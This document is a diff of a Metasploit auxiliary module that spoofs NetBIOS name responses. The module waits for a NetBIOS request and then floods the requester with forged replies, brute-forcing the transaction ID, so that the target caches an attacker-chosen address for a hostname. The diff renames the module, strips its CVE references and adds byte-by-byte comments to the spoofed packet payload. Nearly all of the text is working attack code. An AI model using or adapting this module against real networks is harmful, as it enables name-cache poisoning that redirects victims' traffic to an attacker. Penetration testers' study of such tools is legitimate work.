@@ -10,7 +10,7 @@ class MetasploitModule < Msf::Auxiliary
10
10
11
11
def initialize
12
12
super (
13
- 'Name' => 'NetBIOS "BadTunnel" Service ' ,
13
+ 'Name' => 'NetBIOS Response Brute Force Spoof (NAT Tunnel) ' ,
14
14
'Description' => %q{
15
15
This module listens for a NetBIOS name request and then continuously spams
16
16
NetBIOS responses to a target for given hostname, causing the target to cache
@@ -25,18 +25,11 @@ def initialize
25
25
to access a UNC link pointing to the same address (HTML, Office attachment, etc).
26
26
} ,
27
27
'Authors' => [
28
- 'hdm' , # Metasploit Module
29
- 'tombkeeper' # Vulnerability Discovery
28
+ 'vvalien' , # Metasploit Module (post)
29
+ 'hdm' , # Metasploit Module
30
+ 'tombkeeper' # Related Work
30
31
] ,
31
32
'License' => MSF_LICENSE ,
32
- 'References' =>
33
- [
34
- [ 'URL' , 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/' ] ,
35
- [ 'CVE' , '2016-3213' ] ,
36
- [ 'MSB' , 'MS16-063' ] ,
37
- [ 'CVE' , '2016-3236' ] ,
38
- [ 'MSB' , 'MS16-077' ]
39
- ] ,
40
33
'Actions' =>
41
34
[
42
35
[ 'Service' ]
@@ -46,7 +39,6 @@ def initialize
46
39
'Service'
47
40
] ,
48
41
'DefaultAction' => 'Service' ,
49
- 'DisclosureDate' => 'Jun 14 2016'
50
42
)
51
43
52
44
register_options (
@@ -65,7 +57,6 @@ def netbios_service
65
57
# MacOS X workaround
66
58
::Socket . do_not_reverse_lookup = true
67
59
68
- print_status ( "NetBIOS 'BadTunnel' service is initializing" )
69
60
@sock = ::UDPSocket . new ( )
70
61
@sock . setsockopt ( ::Socket ::SOL_SOCKET , ::Socket ::SO_REUSEADDR , 1 )
71
62
@sock . bind ( datastore [ 'SRVHOST' ] , @port )
@@ -74,7 +65,7 @@ def netbios_service
74
65
@fake_name = datastore [ 'NBNAME' ]
75
66
@fake_addr = datastore [ 'NBADDR' ]
76
67
77
- print_status ( "BadTunnel: Listening for NetBIOS requests..." )
68
+ print_status ( "Listening for NetBIOS requests..." )
78
69
79
70
begin
80
71
loop do
@@ -86,33 +77,44 @@ def netbios_service
86
77
break
87
78
end
88
79
89
- print_status ( "BadTunnel: >> Received a NetBIOS request from #{ @targ_addr } :#{ @targ_port } " )
80
+ # TODO: Seed our counter based on the TXID of this request
81
+ print_status ( "Received a NetBIOS request from #{ @targ_addr } :#{ @targ_port } " )
90
82
@sock . connect ( @targ_addr , @targ_port )
91
83
92
84
netbios_spam
93
85
94
86
rescue ::Interrupt
95
87
raise $!
96
88
rescue ::Exception => e
97
- print_error ( "BadTunnel: Error #{ e . class } #{ e } #{ e . backtrace } " )
89
+ print_error ( "Error #{ e . class } #{ e } #{ e . backtrace } " )
98
90
ensure
99
- @sock . close
91
+ @sock . close if @sock
100
92
end
101
93
end
102
94
103
95
def netbios_spam
104
96
payload =
105
- "\xff \xff " + # TXID
106
- "\x85 \x00 \x00 \x00 \x00 \x01 \x00 \x00 \x00 \x00 \x20 " +
107
- Rex ::Proto ::SMB ::Utils . nbname_encode ( [ @fake_name . upcase ] . pack ( "A15" ) + "\x00 " ) +
108
- "\x00 \x00 \x20 \x00 \x01 \x00 \xff \xff \xff \x00 \x06 \x00 \x00 " +
109
- Rex ::Socket . addr_aton ( @fake_addr )
97
+ "\xff \xff " + # TX ID (will brute force this)
98
+ "\x85 \x00 " + # Flags = response + authoratative + recursion desired
99
+ "\x00 \x00 " + # Questions = 0
100
+ "\x00 \x01 " + # Answer RRs = 1
101
+ "\x00 \x00 " + # Authority RRs = 0
102
+ "\x00 \x00 " + # Additional RRs = 0
103
+ "\x20 " +
104
+ Rex ::Proto ::SMB ::Utils . nbname_encode ( [ @fake_name . upcase ] . pack ( "A15" ) + "\x00 " ) +
105
+ "\x00 " +
106
+ "\x00 \x20 " + # Type = NB
107
+ "\x00 \x01 " + # Class = IN
108
+ "\x00 \x04 \x93 \xe0 " + # TTL long time
109
+ "\x00 \x06 " + # Datalength = 6
110
+ "\x00 \x00 " + # Flags B-node, unique
111
+ Rex ::Socket . addr_aton ( @fake_addr )
110
112
111
113
stime = Time . now . to_f
112
114
pcnt = 0
113
115
pps = 0
114
116
115
- print_status ( "BadTunnel: >> Spamming NetBIOS responses for #{ @fake_name } /#{ @fake_addr } to #{ @targ_addr } :#{ @targ_port } at #{ @targ_rate } /pps..." )
117
+ print_status ( "Spamming NetBIOS responses for #{ @fake_name } /#{ @fake_addr } to #{ @targ_addr } :#{ @targ_port } at #{ @targ_rate } /pps..." )
116
118
117
119
live = true
118
120
while live
@@ -127,20 +129,16 @@ def netbios_spam
127
129
sleep ( 0.01 )
128
130
end
129
131
rescue Errno ::ECONNREFUSED
130
- print_error ( "BadTunnel: >> Error: Target sent us an ICMP port unreachable, port is likely closed" )
132
+ print_error ( "Error: Target sent us an ICMP port unreachable, port is likely closed" )
131
133
live = false
132
134
break
133
135
end
134
136
end
135
137
end
136
-
137
- print_status ( "BadTunnel: >> Cleaning up..." )
138
138
end
139
139
140
140
def run
141
- loop do
142
- netbios_service
143
- end
141
+ loop { netbios_service }
144
142
end
145
143
146
144
end
0 commit comments